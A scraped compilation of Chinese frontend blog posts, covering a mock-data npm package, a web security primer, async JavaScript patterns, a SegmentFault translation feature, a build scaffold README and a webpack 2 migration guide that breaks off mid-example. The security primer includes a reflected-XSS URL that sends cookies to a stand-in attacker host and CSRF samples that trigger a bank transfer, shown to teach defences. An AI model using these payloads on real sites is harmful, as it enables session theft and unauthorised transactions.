mock-stores是一款简单易用的数据mock npm包，可以针对无法拦截ajax请求或者非ajax请求的项目做mock，简单易用仅需三步，便可完成整个过程。优点有：

1.简单易用易部署

2.随处可用

3.无脏代码

4.轻量级（仅十多行代码）

5.改变mock数据无需重新编译

6.我实在想不出来还有比这个更简单省事的了

1.安装

$ yarn add mock-stores -D

2.ProvidePlugin

首先在你项目的根目录下，创建mock目录，然后在该文件夹下创建js/json文件，存放服务端返回的json数据，然后在webpack.config.js文件中全局提供该插件，然后你就可以到处使用该变量了。

// webpack.config.js
  plugins: [
    new webpack.ProvidePlugin({
      Store: 'mock-stores'
  })

3.Mock it

在服务端返回数据的地方填充该对象，并提供一个你为该接口创建的json/js文件的名字，mock-stores对象会根据该名字在mock目录下查找对应的文件，返回该数据：

fetch('/users.json')
   .then(function(response) {
     let item = Store['yourMockJsFileName'] || response.json()
   })

在mock目录下，你还可以不断创建目录，mock-stores对象会根据名字去查找。

开发环境中，mock-stores对象使用的是你创建的mock数据，生产环境则使用的是线上数据，这一切都是自动完成的，因此，你无须移除 Store['yourMockJsFileName'] 这个对象

github地址：https://github.com/hawx1993/m...

关于Web安全的问题，是一个老生常谈的问题，作为离用户最近的一层，我们大前端确实需要把手伸的更远一点。

我们最常见的Web安全攻击有以下几种

1. XSS 跨站脚本攻击

2. CSRF 跨站请求伪造

3. clickjacking 点击劫持/UI-覆盖攻击

下面我们来一一分析

XSS 跨站脚本攻击

跨站脚本攻击（Cross Site Scripting），为了不和层叠样式表（Cascading Style Sheets, CSS）的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

分类

1. Reflected XSS（基于反射的XSS攻击）

2. Stored XSS（基于存储的XSS攻击）

3. DOM-based or local XSS（基于DOM或本地的XSS攻击）

Reflected XSS（基于反射的XSS攻击）

主要通过利用系统反馈行为漏洞，并欺骗用户主动触发，从而发起Web攻击。
举个栗子：

1- 假设，在严选网站搜索商品，当搜索不到时站点会做“xxx未上架提示”。如下图。

2- 在搜索框搜索内容，填入“<script>alert('xss')</script>”, 点击搜索。

3- 当前端页面没有对填入的数据进行过滤，直接显示在页面上， 这时就会alert那个字符串出来。

（当然上图是模拟的）

以上3步只是“自娱自乐”，XSS最关键的是第四步。

4- 进而可以构造获取用户cookies的地址，通过QQ群或者垃圾邮件，来让其他人点击这个地址：

http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5- 如果受骗的用户刚好已经登录过严选网站，那么，用户的登录cookie信息就已经发到了攻击者的服务器（xss.com）了。当然，攻击者会做一些更过分的操作。

Stored XSS（基于存储的XSS攻击）

Stored XSS和Reflected XSS的差别就在于，具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行，从而获得了在网络上传播的能力。

再举个栗子：
1- 发一篇文章，里面包含了恶意脚本

你好！当你看到这段文字时，你的信息已经不安全了！<script>alert('xss')</script>

2- 后端没有对文章进行过滤，直接保存文章内容到数据库。

3- 当其他读者看这篇文章的时候，包含的恶意脚本就会执行。

tips：文章是保存整个HTML内容的，前端显示时候也不做过滤，就极可能出现这种情况。
此为题多从在于博客网站。

如果我们的操作不仅仅是弹出一个信息，而且删除一篇文章，发一篇反动的文章，或者成为我的粉丝并且将这篇带有恶意脚本的文章转发，这样是不是就具有了攻击性。

DOM-based or local XSS（基于DOM或本地的XSS攻击）

DOM，全称Document Object Model，是一个平台和语言都中立的接口，可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。基于这个特性，就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性：
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
······

总结

XSS攻击的本质就是，利用一切手段在目标用户的浏览器中执行攻击脚本。

防范

对于一切用户的输入、输出、客户端的输出内容视为不可信，在数据添加到DOM或者执行了DOM API的时候，我们需要对内容进行HtmlEncode或JavaScriptEncode，以预防XSS攻击。

CSRF 跨站请求伪造

CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。但往往同XSS一同作案！

此下的详解部分转自hyddd的博文http://www.cnblogs.com/hyddd/...，示例写的很赞就部分誊抄至此，并做了一定的修改，向作者hyddd致敬&致谢。

CSRF可以做什么？

你这可以这么理解CSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

CSRF漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”。

CSRF的原理

下图简单阐述了CSRF攻击的思想：

从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

1. 登录受信任网站A，并在本地生成Cookie。

2. 在不登出A的情况下，访问危险网站B。

看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：
　　

1. 你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。

2. 你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......）

3. 上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。

示例

上面大概地讲了一下CSRF攻击的思想，下面我将用几个例子详细说说具体的CSRF攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻:>）

示例1

银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfe...
危险网站B，它里面有一段HTML的代码如下：

<img data-original=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块......

为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作......

示例2

为了杜绝上面的问题，银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下：

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId" /></p>
    <p>Money: <input type="text" name="money" /></p>
    <p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面Transfer.php如下：

<?php
　　　　session_start();
　　　　if (isset($_REQUEST['toBankId'] &&　isset($_REQUEST['money']))
　　　　{
　　　　    buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);
　　　　}
?>

危险网站B，仍然只是包含那句HTML代码：

<img data-original=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操作一样，你首先登录了银行网站A，然后访问危险网站B，结果.....和示例1一样，你再次没了1000块～T_T，这次事故的原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST既可以获取GET请求的数据，也可以获取POST请求的数据，这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中，可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中，用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。

示例3

经过前面2个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取POST请求的数据，后台处理页面Transfer.php代码如下：

<?php
　　　　session_start();
　　　　if (isset($_POST['toBankId'] &&　isset($_POST['money']))
　　　　{
　　　　    buy_stocks($_POST['toBankId'],　$_POST['money']);
　　　　}
　　?>

　　然而，危险网站B与时俱进，它改了一下代码：

<html>
　　<head>
　　　　<script type="text/javascript">
　　　　　　function steal()
　　　　　　{
          　　　　 iframe = document.frames["steal"];
　　     　　      iframe.document.Submit("transfer");
　　　　　　}
　　　　</script>
　　</head>

　　<body onload="steal()">
　　　　<iframe name="steal" display="none">
　　　　　　<form method="POST" name="transfer"　action="http://www.myBank.com/Transfer.php">
　　　　　　　　<input type="hidden" name="toBankId" value="11">
　　　　　　　　<input type="hidden" name="money" value="1000">
　　　　　　</form>
　　　　</iframe>
　　</body>
</html>

如果用户仍是继续上面的操作，很不幸，结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!
　　
总结一下上面3个例子，CSRF主要的攻击模式基本上是以上的3种，其中以第1,2种最为严重，因为触发条件很简单，一个<img>就可以了，而第3种比较麻烦，需要使用JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了CSRF攻击，后果都有可能很严重。
　　
理解上面的3种攻击模式，其实可以看出，CSRF攻击是源于WEB的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的！

当前防御 CSRF 的几种策略

在业界目前防御 CSRF 攻击主要有三种策略：验证 HTTP Referer 字段；在请求地址中添加 token 并验证；在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。

验证 HTTP Referer 字段

利用HTTP头中的Referer判断请求来源是否合法。

优点：简单易行，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。

缺点：
1、Referer 的值是由浏览器提供的，不可全信，低版本浏览器下Referer存在伪造风险。
2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时，网站将拒绝合法用户的访问。

在请求地址中添加 token 并验证

在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中，以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

优点：比检查 Referer 要安全一些，并且不涉及用户隐私。
缺点：对所有请求都添加token比较困难，难以保证 token 本身的安全，依然会被利用获取到token

在 HTTP 头中自定义属性并验证+One-Time Tokens

将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验，并且一次有效。

优点：统一管理token输入输出，可以保证token的安全性
缺点：有局限性，无法在非异步的请求上实施

点击劫持

点击劫持，英文名clickjacking，也叫UI覆盖攻击，攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作，而实际的点击确实用户看不到的一个按钮，从而达到在用户不知情的情况下实施攻击。

这种攻击方式的关键在于可以实现页中页的<iframe />标签，并且可以使用css样式表将他不可见

如以上示意图的蓝色层，攻击者会通过一定的手段诱惑用户“在红色层”输入信息，但用户实际上实在蓝色层中，以此做欺骗行为。

拿支付宝做个栗子

上图是支付宝手机话费充值的界面。

再看看一下界面

是的，这个是我伪造的，如果我将真正的充值站点隐藏在此界面上方。我想，聪明的你已经知道clickjacking的危险性了。

上图我估计做了一下错位和降低透明度，是不是很有意思呢？傻傻分不清的用户还以为是领取了奖品，其实是给陌生人充值了话费。

这种方法最常见的攻击场景是伪造一些网站盗取帐号信息，如支付宝、QQ、网易帐号等帐号的账密

目前，clickjacking还算比较冷门，很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。

防范

防止点击劫持有两种主要方法：

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头，指示浏览器不允许从其他域进行取景，专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值：
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址

顶层判断

在UI中采用防御性代码，以确保当前帧是最顶层的窗口
方法有多中，如

top != self || top.location != self.location || top.location != location

有关Clickjacking防御的更多信息，请参阅Clickjacking Defense Cheat Sheet.

参考

[1] 浅谈CSRF攻击方式 - http://www.cnblogs.com/hyddd/...
[2] CSRF 攻击的应对之道 - https://www.ibm.com/developer...

你可能知道，Javascript语言的执行环境是"单线程"（single thread）。

所谓"单线程"，就是指一次只能完成一件任务。如果有多个任务，就必须排队，前面一个任务完成，再执行后面一个任务，以此类推。

这种模式的好处是实现起来比较简单，执行环境相对单纯；坏处是只要有一个任务耗时很长，后面的任务都必须排队等着，会拖延整个程序的执行。常见的浏览器无响应（假死），往往就是因为某一段Javascript代码长时间运行（比如死循环），导致整个页面卡在这个地方，其他任务无法执行。

为了解决这个问题，Javascript语言将任务的执行模式分成两种：同步（Synchronous）和异步（Asynchronous）。

"同步模式"就是上一段的模式，后一个任务等待前一个任务结束，然后再执行，程序的执行顺序与任务的排列顺序是一致的、同步的；"异步模式"则完全不同，每一个任务有一个或多个回调函数（callback），前一个任务结束后，不是执行后一个任务，而是执行回调函数，后一个任务则是不等前一个任务结束就执行，所以程序的执行顺序与任务的排列顺序是不一致的、异步的。

"异步模式"非常重要。在浏览器端，耗时很长的操作都应该异步执行，避免浏览器失去响应，最好的例子就是Ajax操作。在服务器端，"异步模式"甚至是唯一的模式，因为执行环境是单线程的，如果允许同步执行所有http请求，服务器性能会急剧下降，很快就会失去响应。

本文总结了"异步模式"编程的4种方法，理解它们可以让你写出结构更合理、性能更出色、维护更方便的Javascript程序。

一、回调函数

这是异步编程最基本的方法。

假定有两个函数f1和f2，后者等待前者的执行结果。

　　f1();

　　f2();

如果f1是一个很耗时的任务，可以考虑改写f1，把f2写成f1的回调函数。

　　function f1(callback){

　　　　setTimeout(function () {

　　　　　　// f1的任务代码

　　　　　　callback();

　　　　}, 1000);

　　}

执行代码就变成下面这样：

　　f1(f2);

采用这种方式，我们把同步操作变成了异步操作，f1不会堵塞程序运行，相当于先执行程序的主要逻辑，将耗时的操作推迟执行。

回调函数的优点是简单、容易理解和部署，缺点是不利于代码的阅读和维护，各个部分之间高度耦合（Coupling），流程会很混乱，而且每个任务只能指定一个回调函数。

二、事件监听

另一种思路是采用事件驱动模式。任务的执行不取决于代码的顺序，而取决于某个事件是否发生。

还是以f1和f2为例。首先，为f1绑定一个事件（这里采用的jQuery的写法）。

　　f1.on('done', f2);

上面这行代码的意思是，当f1发生done事件，就执行f2。然后，对f1进行改写：

　　function f1(){

　　　　setTimeout(function () {

　　　　　　// f1的任务代码

　　　　　　f1.trigger('done');

　　　　}, 1000);

　　}

f1.trigger('done')表示，执行完成后，立即触发done事件，从而开始执行f2。

这种方法的优点是比较容易理解，可以绑定多个事件，每个事件可以指定多个回调函数，而且可以"去耦合"（Decoupling），有利于实现模块化。缺点是整个程序都要变成事件驱动型，运行流程会变得很不清晰。

三、发布/订阅

上一节的"事件"，完全可以理解成"信号"。

我们假定，存在一个"信号中心"，某个任务执行完成，就向信号中心"发布"（publish）一个信号，其他任务可以向信号中心"订阅"（subscribe）这个信号，从而知道什么时候自己可以开始执行。这就叫做"发布/订阅模式"（publish-subscribe pattern），又称"观察者模式"（observer pattern）。

这个模式有多种实现，下面采用的是Ben Alman的Tiny Pub/Sub，这是jQuery的一个插件。

首先，f2向"信号中心"jQuery订阅"done"信号。

　　jQuery.subscribe("done", f2);

然后，f1进行如下改写：

　　function f1(){

　　　　setTimeout(function () {

　　　　　　// f1的任务代码

　　　　　　jQuery.publish("done");

　　　　}, 1000);

　　}

jQuery.publish("done")的意思是，f1执行完成后，向"信号中心"jQuery发布"done"信号，从而引发f2的执行。

此外，f2完成执行后，也可以取消订阅（unsubscribe）。

　　jQuery.unsubscribe("done", f2);

这种方法的性质与"事件监听"类似，但是明显优于后者。因为我们可以通过查看"消息中心"，了解存在多少信号、每个信号有多少订阅者，从而监控程序的运行。

四、Promises对象

Promises对象是CommonJS工作组提出的一种规范，目的是为异步编程提供统一接口。

简单说，它的思想是，每一个异步任务返回一个Promise对象，该对象有一个then方法，允许指定回调函数。比如，f1的回调函数f2,可以写成：

　　f1().then(f2);

f1要进行如下改写（这里使用的是jQuery的实现）：

　　function f1(){

　　　　var dfd = $.Deferred();

　　　　setTimeout(function () {

　　　　　　// f1的任务代码

　　　　　　dfd.resolve();

　　　　}, 500);

　　　　return dfd.promise;

　　}

这样写的优点在于，回调函数变成了链式写法，程序的流程可以看得很清楚，而且有一整套的配套方法，可以实现许多强大的功能。

比如，指定多个回调函数：

　　f1().then(f2).then(f3);

再比如，指定发生错误时的回调函数：

　　f1().then(f2).fail(f3);

而且，它还有一个前面三种方法都没有的好处：如果一个任务已经完成，再添加回调函数，该回调函数会立即执行。所以，你不用担心是否错过了某个事件或信号。这种方法的缺点就是编写和理解，都相对比较难。

文章来源：http://www.ruanyifeng.com/blo...

昨天我们亲爱的国际友人，Webpack 的开发者 Sean Larkin 被邀请加入了 SegmentFault 社区（详见：https://segmentfault.com/a/11...）。和他在微信群的聊天中提到，目前语言问题是一大障碍，他现在是借助 Google 的网页翻译功能来看大家的问题的。但是网页翻译会将所有文本都翻译成英文，这会造成一些理解上的不便，并且非常容易破坏原有排版。特别是计算机编程领域，文本中存在大量的代码混杂的情况，如果把这部分也理解为单词翻译的话会造成很大的错误。

针对这一情况，我们利用 Markdown 的语法解析功能，对需要翻译的文本进行分析，去除不需要关注的部分。比如我的这个问题

我们在分析的时候就会首先按区块进行分析，直接过滤掉不需要翻译的区块（红色的部分），比如代码片段。针对每一个区块，我们还会做特殊处理。比如如果你在段落里使用了code语法来标记，我们就会将其识别为一个不需要翻译的片段，在翻译的时候去除掉它，翻译完以后再填回去。

还有一种特殊的情况，如果你在整个段落，比如标题中，完全使用了英文（这在技术领域是很常见的），我们也会将其标记为不需要翻译，这可以更好地传达你本来想要表达的意思。

我们的翻译功能目前是基于客户端做识别的，如果你的浏览器是英文版，而目标文本是中文，就会显示一个英文的 "Translate" 按钮在下方。

点完以后，稍等片刻即可看到结果，再点击 "Show original" 即可看到原文

如果你的浏览器是中文系统（包括繁体中文），而目标文本是英文，就会显示一个中文的 "翻译" 按钮

跟上面一样，也可以查看原文

我们目前的翻译系统是基于 Google Translate API 的神经网络机器翻译（Neural Machine Translation），翻译结果与传统方法相比有了很大的提高，但是也还不能达到完全自然的效果，不过减少了很多沟通上的障碍，这也是我们创办 SegmentFault 的初衷。

我们目前只在问答中测试了此系统，后续会逐渐覆盖到所有产品线。我们同时也计划邀请更多其他国家的开发者来 SegmentFault 参与交流，为了让交流障碍更少，同时也提高大家自己的阅读效率。

我们做如下倡议

尽量使用精确和简短的语言描述你的问题

使用业界通用的语言，不要自己造词。不要在问题中夹杂无关的语气词。如果你想翻译效果好，我们还建议你尽量使用短句子。

用语法包裹你的代码

这是中文开发者一个非常非常不好的习惯，一上来就一堆代码，而且没有任何语法标记，Markdown 在识别的时候会造成排版混乱，翻译的时候更是惨不忍睹。

正式场合不要使用俚语

呃，关于这个问题你们还是自己看好了。。。

使用hbuild快速构建现代化web应用

Hbuild使用hbuild-cli命令行工具，全局注册后可快速生成项目启动套件。你可以使用Hbuild生成一个h5项目，或者vue项目（默认搭配react-router，可自由选择vuex），或者react项目。该套件包含如下特点：

Features

• Vue2 / Vue-Router / Vuex (optional)
• Hot reloading for single-file components
• Webpack 2
• babel (default)
• LESS/SASS/Stylus (optional)
• ejs/mustache/art-template (optional)
• React / React-Router (optional)
• zepto
• autoprefixer (vue support)
• mock server
• eslint
• Support for building multi-page applications
• offline mode support
• file hash

其中zepto是默认全局引入的，可直接使用。h5项目可以选择ejs，mustache或art-template模板引擎。 默认支持Babel转码。支持HMR。支持文件指纹。

vue项目默认支持vue-router，react项目默认支持react-router

Get Started

You'd better have node >=6 and npm >=3 and gulp >=3.9 installed:

$ npm install -g hbuild-cli
$ h init new-project
 
# edit files and start developing
$ npm run dev
# bundle all scripts and styles for production use
$ npm run prod
 
# lint your js code
$ npm run eslint

Local Templates

when you clone this project,you can use a template on your local file system:

$ git clone git@github.com:hawx1993/hbuild.git
$ h init ./hbuild new-project

命令

$ npm run dev;//本地开发模式，连接mock数据
$ npm run dev-daily;//本地开发模式，连接daily日常环境数据
$ npm run dev-pre;//本地开发模式，连接预发环境数据
$ npm run daily;//线上日常构建模式，连接daily日常环境数据
$ npm run pre;//线上预发构建模式，连接预发环境数据
$ npm run prod;//线上构建模式，连接线上环境数据
$ npm run eslint;//js代码审查，默认检查除lib文件夹下的js代码

编译

1.js代码默认采用Babel编译，gulp + webpack打包构建。

2.编译后的html文件默认输出到build/pages目录下，html文件名采用其在src/pages下的父级目录的文件名

3.编译后的静态资源文件（图片，字体，js文件等）存放到build/static目录下，编译支持文件hash，解决缓存问题

4.支持代码热替换，热替换失败会自动刷新整个页面

5.开发模式不对代码进行压缩，sourceMap 只针对非开发模式有效(not dev)

6.支持图片压缩

HTML和模板引擎

1.h5项目支持 ejs ，mustache和art-template模板引擎，默认支持zepto

2.非本地开发环境，html，js和css代码会被压缩

3.当你在pages下新建一个目录时，html文件需要手动配置一下静态资源的引用，例如在index目录下：

<script data-original="$$_CDNPATH_$$/index/index.js"></script>

CSS和预处理器

1.支持css预处理器LESS、SASS和stylus (optional);

2.默认采用css-in-js的方式，可在hbuild.config.js文件中配置是否单独提取css，提取出的css文件名称默认为：[name].css，name为src下less/scss/stylus文件名

3.开启提取css文件，需要在HTML中引入，引入方式同js

4.支持 屏幕适配方案，采用media-query+rem的方式，默认在common.less文件中

5.支持postcss和autoprefixer

代码检查

1.npm run eslint 支持vue单文件组件，支持es6语法检查

其他

• mock：mock 数据只需要接口URI路径和mock目录保持一致即可
• 接口：接口如需根据环境来替换，需在hbuild.config.js文件和common/js/config文件进行配置
• 支持多入口文件，可在pages下新建目录，文件名需以index开头
• 字符串替换：$$_CDNPATH_$$会被编译替换为build/static/hash目录，$$_STATICPATH_$$会被替换为build/static/hash/assets
• 入口文件：脚手架默认会读取pages目录下的index开头的js文件为入口文件，名称是写死的
• 修改默认文件夹的名称，需要在hbuild.config.js文件就对应文件变量做修改

目录结构

.
├── README.md
├── build                       # 构建工具目录
│    └── gulpfile.js            # gulp文件
│    └── postcss.config.js      # postcss配置文件
│    └── util.js                # gulp脚手架工具方法
│    └── hbuild.config.js       # 脚手架配置文件
├── mock                        # mock数据目录，保持和接口一样的路径即可
│   └── h5
├── package.json    
├── src                         # 源文件 
│   ├── assets                  # 静态资源目录，存放图片或字体
│   │   └── logo.ico
│   ├── common                  # 共用代码目录，css目录存放公用css部分，js同理
│   │   ├── css
│   │   │   ├── common.less
│   │   │   └── common.scss
│   │   └── js
│   │       ├── api.js          # api文件
│   │       ├── config.js       # 配置文件
│   │       └── util.js         # 工具函数文件，可将公用方法存放于此
│   ├── components              # 组件目录
│   │   ├── counter             # 计数器vue组件
│   │   │   └── index.vue
│   │   ├── index               # vue组件的入口文件
│   │   │   └── index.vue
│   │   ├── meta                # h5 meta头部信息模块
│   │   │   └── index.html
│   │   ├── router              # vue路由模块
│   │   │   └── router.js
│   │   └── store               # vuex store模块
│   │       └── store.js
│   ├── lib                     # 第三方库 
│   └── pages                   # 页面    
│       └── index               # 首页目录，可在pages目录下新建多个目录结构，作为多入口文件
│           ├── index.html
│           ├── index.js        # index.js/index.jsx文件为webpack的入口文件
│           ├── index.jsx
│           ├── index.less      # 样式文件在js文件中引入，可设置是否提取出css文件     
│           ├── index.scss
│           └── module          # 页面模板模块，可在index.js/jsx文件引入该模块文件
│               ├── main.jsx
│               └── main.tpl.html
└── yarn.lock

ChangeLog

changelog

License

MIT © hawx1993

项目地址

https://github.com/hawx1993/h... 欢迎star or issue

历时多日，webpack2.2正式版终于赶在年前发布了，此次更新相对于1.X版本有了诸多的升级优化改进，笔者也在第一时间查阅了官方的文档，整理和翻译了由webpack1升级到2所需要了解的API变更和注意事项，翻译不足的地方也欢迎随时交流指正。

原文链接：Webpack2 Migrating
译者：Abcat && 会飞的鱼

resolve.root, resolve.fallback, resolve.modulesDirectories

上述三个选项将被合并为一个标准配置项：resolve.modules. 更多关于resolve的信息信息可查阅 resolving .

  resolve: {
-   root: path.join(__dirname, "src")
+   modules: [
+     path.join(__dirname, "src"),
+     "node_modules"
+   ]
  }

resolve.extensions

该配置项将不再要求强制转入一个空字符串，而被改动到了resolve.enforceExtension下， 更多关于resolve的信息信息可查阅 resolving .

resolve.*

更多相关改动和一些不常用的配置项在此不一一列举，大家如果在实际项目中用到可以到resolving 中进行查看.

module.loaders 将变为 module.rules

旧版本中loaders配置项将被功能更为强大的rules取代，同时考虑到新旧版本的兼容，之前旧版本的module.loaders的相关写法仍旧有效，loaders中的相关配置项也依旧可以被识别。

新的loader配置规则会变得更加通俗易用，因此官方也非常推荐用户能及时按module.rules中的相关配置进行调整升级。

  module: {
-   loaders: [
+   rules: [
      {
        test: /\.css$/,
-       loaders: [
+       use: [
          {
            loader: "style-loader"
          },
          {
            loader: "css-loader",
-           query: {
+           options: {
              modules: true
            }
        ]
      },
      {
        test: /\.jsx$/,
        loader: "babel-loader", // Do not use "use" here
        options: {
          // ...
        }
      }
    ]
  }

链式loaders

同webpack1.X中类似，loaders继续支持链式写法，可将相关正则匹配到的文件资源数据在几个loader之间进行共享传递，详细使用说明可见 rule.use。

在wepback2中，用户可通过use项来指定需要用到的loaders列表（官方推荐），而在weback1中，如果需要配置多个loaders则需要依靠简单的 !符来切分，这种语法出于新旧兼容的考虑，只会在module.loaders中生效。

  module: {
-   loaders: {
+   rules: {
      test: /\.less$/,
-     loader: "style-loader!css-loader!less-loader"
+     use: [
+       "style-loader",
+       "css-loader",
+       "less-loader"
+     ]
    }
  }

module名称后自动自动补全 -loader的功能将被移除

在配置loader时，官方不再允许省略-loader扩展名，loader的配置写法上将逐步趋于严谨。

  module: {
    rules: [
      {
        use: [
-         "style", // 请勿再省略'-loader'
+         "style-loader",
-         "css",
+         "css-loader",
-         "less",
+         "less-loader",
        ]
      }
    ]
  }

当然，如果你想继续保持之前的省略写法，你写可以在resolveLoader.moduleExtensions中开启默认扩展名配置，不过这种做法并不被推荐。

+ resolveLoader: {
+   moduleExtensions: ["-loader"]
+ }

可以从这里查看 #2986 此次变更的原因；

json-loader 无需要独立安装

当我们需要读取json格式文件时，我们不再需要安装任何loader，webpack2中将会内置 json-loader，自动支持json格式的读取（喜大普奔啊）。

  module: {
    rules: [
-     {
-       test: /\.json/,
-       loader: "json-loader"
-     }
    ]
  }

为何需要默认支持json格式 官方的解释是为了在webpack, node.js and browserify三种构建环境下提供无差异的开发体验。

loader配置项将默认从context中读取

在webpack 1中的一些特殊的loader在读取对应资源时，需要通过require.resolve指定后才能指定生效。从webpack 2后，配置loader在直接从context中进行读取，这就解决了一些在使用“npm链接”或引用模块之外的context造成的模块重复导入的问题。

配置中可以删除如下代码：

  module: {
    rules: [
      {
        // ...
-       loader: require.resolve("my-loader")
+       loader: "my-loader"
      }
    ]
  },
  resolveLoader: {
-   root: path.resolve(__dirname, "node_modules")
  }

module.preLoaders 和 module.postLoaders 将被移除

  module: {
-   preLoaders: [
+   rules: [
      {
        test: /\.js$/,
+       enforce: "pre",
        loader: "eslint-loader"
      }
    ]
  }

之前需要用到preLoader的地方可以改到rules的enfore中进行配置。

UglifyJsPlugin中的 sourceMap配置项将默认关闭

UglifyJsPlugin中的sourceMap 默认项将从 true变为 false。

这就意味着当你的js编译压缩后，需要继续读取原始脚本信息的行数，位置，警告等有效调试信息时，你需要手动开启UglifyJsPlugin 的配置项：sourceMap: true 。

  devtool: "source-map",
  plugins: [
    new UglifyJsPlugin({
+     sourceMap: true
    })
  ]

UglifyJsPlugin 的警告配置将默认关闭

UglifyJsPlugin中的 compress.warnings 默认项将从 true变为 false。

这就意味着当你想在编译压缩的时候查看一部分js的警告信息时，你需要将compress.warnings 手动设置为 true。

  devtool: "source-map",
  plugins: [
    new UglifyJsPlugin({
+     compress: {
+       warnings: true
+     }
    })
  ]

UglifyJsPlugin 不再支持让 Loaders 最小化文件的模式了

UglifyJsPlugin 将不再支持让 Loaders 最小化文件的模式。debug 选项已经被移除。Loaders 不能从 webpack 的配置中读取到他们的配置项。

loader的最小化文件模式将会在webpack 3或者后续版本中被彻底取消掉.

为了兼容部分旧式loader，你可以通过 LoaderOptionsPlugin 的配置项来提供这些功能。

  plugins: [
+   new webpack.LoaderOptionsPlugin({
+     minimize: true
+   })
  ]

BannerPlugin 配置项将有所改变

BannerPlugin 将不再允许接受两个参数，而是只提供一个对象配置项

  plugins: [
-    new webpack.BannerPlugin('Banner', {raw: true, entryOnly: true});
+    new webpack.BannerPlugin({banner: 'Banner', raw: true, entryOnly: true});
  ]

OccurrenceOrderPlugin将被内置加入

不需要再针对OccurrenceOrderPlugin进行配置

  plugins: [
-   new webpack.optimize.OccurrenceOrderPlugin()
  ]

ExtractTextWebpackPlugin 配置项将有所改变

ExtractTextPlugin 1.0.0 在webpack v2将无法使用，你需要重新指定安装ExtractTextPlugin 的webpack2的适配版本.

npm install --save-dev extract-text-webpack-plugin@beta

更新后的ExtractTextPlugin版本会针对wepback2进行相应的调整。

ExtractTextPlugin.extract的配置书写方式将调整

module: {
  rules: [
    test: /.css$/,
-    loader: ExtractTextPlugin.extract("style-loader", "css-loader", { publicPath: "/dist" })
+    loader: ExtractTextPlugin.extract({
+      fallbackLoader: "style-loader",
+      loader: "css-loader",
